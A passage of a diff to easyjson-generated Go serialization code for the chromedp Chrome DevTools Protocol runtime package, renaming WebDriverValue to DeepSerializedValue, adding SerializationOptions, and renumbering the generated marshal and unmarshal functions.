case PrefetchStatusPrefetchNotStarted:
|
||||
*t = PrefetchStatusPrefetchNotStarted
|
||||
case PrefetchStatusPrefetchNotUsedCookiesChanged:
|
||||
*t = PrefetchStatusPrefetchNotUsedCookiesChanged
|
||||
case PrefetchStatusPrefetchProxyNotAvailable:
|
||||
*t = PrefetchStatusPrefetchProxyNotAvailable
|
||||
case PrefetchStatusPrefetchResponseUsed:
|
||||
*t = PrefetchStatusPrefetchResponseUsed
|
||||
case PrefetchStatusPrefetchSuccessfulButNotUsed:
|
||||
*t = PrefetchStatusPrefetchSuccessfulButNotUsed
|
||||
case PrefetchStatusPrefetchNotUsedProbeFailed:
|
||||
*t = PrefetchStatusPrefetchNotUsedProbeFailed
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PrefetchStatus value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *PrefetchStatus) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
+290
-187
@@ -17,87 +17,7 @@ var (
|
||||
_ easyjson.Marshaler
|
||||
)
|
||||
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime(in *jlexer.Lexer, out *WebDriverValue) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "type":
|
||||
(out.Type).UnmarshalEasyJSON(in)
|
||||
case "value":
|
||||
(out.Value).UnmarshalEasyJSON(in)
|
||||
case "objectId":
|
||||
out.ObjectID = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime(out *jwriter.Writer, in WebDriverValue) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"type\":"
|
||||
out.RawString(prefix[1:])
|
||||
(in.Type).MarshalEasyJSON(out)
|
||||
}
|
||||
if (in.Value).IsDefined() {
|
||||
const prefix string = ",\"value\":"
|
||||
out.RawString(prefix)
|
||||
(in.Value).MarshalEasyJSON(out)
|
||||
}
|
||||
if in.ObjectID != "" {
|
||||
const prefix string = ",\"objectId\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.ObjectID))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v WebDriverValue) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v WebDriverValue) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *WebDriverValue) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *WebDriverValue) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime1(in *jlexer.Lexer, out *TerminateExecutionParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime(in *jlexer.Lexer, out *TerminateExecutionParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -126,7 +46,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime1(in *jlexer.Lexer, ou
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime1(out *jwriter.Writer, in TerminateExecutionParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime(out *jwriter.Writer, in TerminateExecutionParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -136,27 +56,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime1(out *jwriter.Writer,
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v TerminateExecutionParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime1(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v TerminateExecutionParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime1(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *TerminateExecutionParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime1(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *TerminateExecutionParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime1(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime2(in *jlexer.Lexer, out *StackTraceID) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime1(in *jlexer.Lexer, out *StackTraceID) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -189,7 +109,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime2(in *jlexer.Lexer, ou
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime2(out *jwriter.Writer, in StackTraceID) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime1(out *jwriter.Writer, in StackTraceID) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -209,27 +129,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime2(out *jwriter.Writer,
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v StackTraceID) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime2(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime1(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v StackTraceID) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime2(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime1(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *StackTraceID) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime2(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime1(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *StackTraceID) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime2(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime1(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime3(in *jlexer.Lexer, out *StackTrace) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime2(in *jlexer.Lexer, out *StackTrace) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -311,7 +231,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime3(in *jlexer.Lexer, ou
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime3(out *jwriter.Writer, in StackTrace) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime2(out *jwriter.Writer, in StackTrace) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -362,27 +282,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime3(out *jwriter.Writer,
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v StackTrace) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime3(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime2(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v StackTrace) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime3(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime2(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *StackTrace) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime3(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime2(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *StackTrace) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime3(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime2(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime4(in *jlexer.Lexer, out *SetMaxCallStackSizeToCaptureParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime3(in *jlexer.Lexer, out *SetMaxCallStackSizeToCaptureParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -413,7 +333,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime4(in *jlexer.Lexer, ou
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime4(out *jwriter.Writer, in SetMaxCallStackSizeToCaptureParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime3(out *jwriter.Writer, in SetMaxCallStackSizeToCaptureParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -428,27 +348,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime4(out *jwriter.Writer,
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v SetMaxCallStackSizeToCaptureParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime4(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime3(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v SetMaxCallStackSizeToCaptureParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime4(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime3(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *SetMaxCallStackSizeToCaptureParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime4(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime3(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *SetMaxCallStackSizeToCaptureParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime4(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime3(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime5(in *jlexer.Lexer, out *SetCustomObjectFormatterEnabledParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime4(in *jlexer.Lexer, out *SetCustomObjectFormatterEnabledParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -479,7 +399,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime5(in *jlexer.Lexer, ou
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime5(out *jwriter.Writer, in SetCustomObjectFormatterEnabledParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime4(out *jwriter.Writer, in SetCustomObjectFormatterEnabledParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -494,24 +414,104 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime5(out *jwriter.Writer,
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v SetCustomObjectFormatterEnabledParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime5(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime4(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v SetCustomObjectFormatterEnabledParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime5(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime4(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *SetCustomObjectFormatterEnabledParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime4(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *SetCustomObjectFormatterEnabledParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime4(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime5(in *jlexer.Lexer, out *SerializationOptions) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "serialization":
|
||||
(out.Serialization).UnmarshalEasyJSON(in)
|
||||
case "maxDepth":
|
||||
out.MaxDepth = int64(in.Int64())
|
||||
case "additionalParameters":
|
||||
(out.AdditionalParameters).UnmarshalEasyJSON(in)
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime5(out *jwriter.Writer, in SerializationOptions) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"serialization\":"
|
||||
out.RawString(prefix[1:])
|
||||
(in.Serialization).MarshalEasyJSON(out)
|
||||
}
|
||||
if in.MaxDepth != 0 {
|
||||
const prefix string = ",\"maxDepth\":"
|
||||
out.RawString(prefix)
|
||||
out.Int64(int64(in.MaxDepth))
|
||||
}
|
||||
if (in.AdditionalParameters).IsDefined() {
|
||||
const prefix string = ",\"additionalParameters\":"
|
||||
out.RawString(prefix)
|
||||
(in.AdditionalParameters).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v SerializationOptions) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime5(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v SerializationOptions) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime5(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *SerializationOptions) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime5(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *SetCustomObjectFormatterEnabledParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
func (v *SerializationOptions) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime5(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime6(in *jlexer.Lexer, out *RunScriptReturns) {
|
||||
@@ -880,15 +880,15 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime10(in *jlexer.Lexer, o
|
||||
out.UnserializableValue = UnserializableValue(in.String())
|
||||
case "description":
|
||||
out.Description = string(in.String())
|
||||
case "webDriverValue":
|
||||
case "deepSerializedValue":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.WebDriverValue = nil
|
||||
out.DeepSerializedValue = nil
|
||||
} else {
|
||||
if out.WebDriverValue == nil {
|
||||
out.WebDriverValue = new(WebDriverValue)
|
||||
if out.DeepSerializedValue == nil {
|
||||
out.DeepSerializedValue = new(DeepSerializedValue)
|
||||
}
|
||||
(*out.WebDriverValue).UnmarshalEasyJSON(in)
|
||||
(*out.DeepSerializedValue).UnmarshalEasyJSON(in)
|
||||
}
|
||||
case "objectId":
|
||||
out.ObjectID = RemoteObjectID(in.String())
|
||||
@@ -956,10 +956,10 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime10(out *jwriter.Writer
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Description))
|
||||
}
|
||||
if in.WebDriverValue != nil {
|
||||
const prefix string = ",\"webDriverValue\":"
|
||||
if in.DeepSerializedValue != nil {
|
||||
const prefix string = ",\"deepSerializedValue\":"
|
||||
out.RawString(prefix)
|
||||
(*in.WebDriverValue).MarshalEasyJSON(out)
|
||||
(*in.DeepSerializedValue).MarshalEasyJSON(out)
|
||||
}
|
||||
if in.ObjectID != "" {
|
||||
const prefix string = ",\"objectId\":"
|
||||
@@ -3924,8 +3924,16 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime41(in *jlexer.Lexer, o
|
||||
out.AllowUnsafeEvalBlockedByCSP = bool(in.Bool())
|
||||
case "uniqueContextId":
|
||||
out.UniqueContextID = string(in.String())
|
||||
case "generateWebDriverValue":
|
||||
out.GenerateWebDriverValue = bool(in.Bool())
|
||||
case "serializationOptions":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.SerializationOptions = nil
|
||||
} else {
|
||||
if out.SerializationOptions == nil {
|
||||
out.SerializationOptions = new(SerializationOptions)
|
||||
}
|
||||
(*out.SerializationOptions).UnmarshalEasyJSON(in)
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -4015,10 +4023,10 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime41(out *jwriter.Writer
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.UniqueContextID))
|
||||
}
|
||||
if in.GenerateWebDriverValue {
|
||||
const prefix string = ",\"generateWebDriverValue\":"
|
||||
if in.SerializationOptions != nil {
|
||||
const prefix string = ",\"serializationOptions\":"
|
||||
out.RawString(prefix)
|
||||
out.Bool(bool(in.GenerateWebDriverValue))
|
||||
(*in.SerializationOptions).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
@@ -4322,7 +4330,94 @@ func (v *DisableParams) UnmarshalJSON(data []byte) error {
|
||||
func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime45(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime46(in *jlexer.Lexer, out *CustomPreview) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime46(in *jlexer.Lexer, out *DeepSerializedValue) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "type":
|
||||
(out.Type).UnmarshalEasyJSON(in)
|
||||
case "value":
|
||||
(out.Value).UnmarshalEasyJSON(in)
|
||||
case "objectId":
|
||||
out.ObjectID = string(in.String())
|
||||
case "weakLocalObjectReference":
|
||||
out.WeakLocalObjectReference = int64(in.Int64())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime46(out *jwriter.Writer, in DeepSerializedValue) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"type\":"
|
||||
out.RawString(prefix[1:])
|
||||
(in.Type).MarshalEasyJSON(out)
|
||||
}
|
||||
if (in.Value).IsDefined() {
|
||||
const prefix string = ",\"value\":"
|
||||
out.RawString(prefix)
|
||||
(in.Value).MarshalEasyJSON(out)
|
||||
}
|
||||
if in.ObjectID != "" {
|
||||
const prefix string = ",\"objectId\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.ObjectID))
|
||||
}
|
||||
if in.WeakLocalObjectReference != 0 {
|
||||
const prefix string = ",\"weakLocalObjectReference\":"
|
||||
out.RawString(prefix)
|
||||
out.Int64(int64(in.WeakLocalObjectReference))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v DeepSerializedValue) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime46(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v DeepSerializedValue) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime46(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *DeepSerializedValue) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime46(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *DeepSerializedValue) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime46(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime47(in *jlexer.Lexer, out *CustomPreview) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -4355,7 +4450,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime46(in *jlexer.Lexer, o
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime46(out *jwriter.Writer, in CustomPreview) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime47(out *jwriter.Writer, in CustomPreview) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -4375,27 +4470,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime46(out *jwriter.Writer
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v CustomPreview) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime46(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime47(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v CustomPreview) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime46(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime47(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *CustomPreview) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime46(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime47(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *CustomPreview) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime46(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime47(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime47(in *jlexer.Lexer, out *CompileScriptReturns) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime48(in *jlexer.Lexer, out *CompileScriptReturns) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -4436,7 +4531,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoRuntime47(in *jlexer.Lexer, o
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime47(out *jwriter.Writer, in CompileScriptReturns) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime48(out *jwriter.Writer, in CompileScriptReturns) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -4462,27 +4557,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoRuntime47(out *jwriter.Writer
|
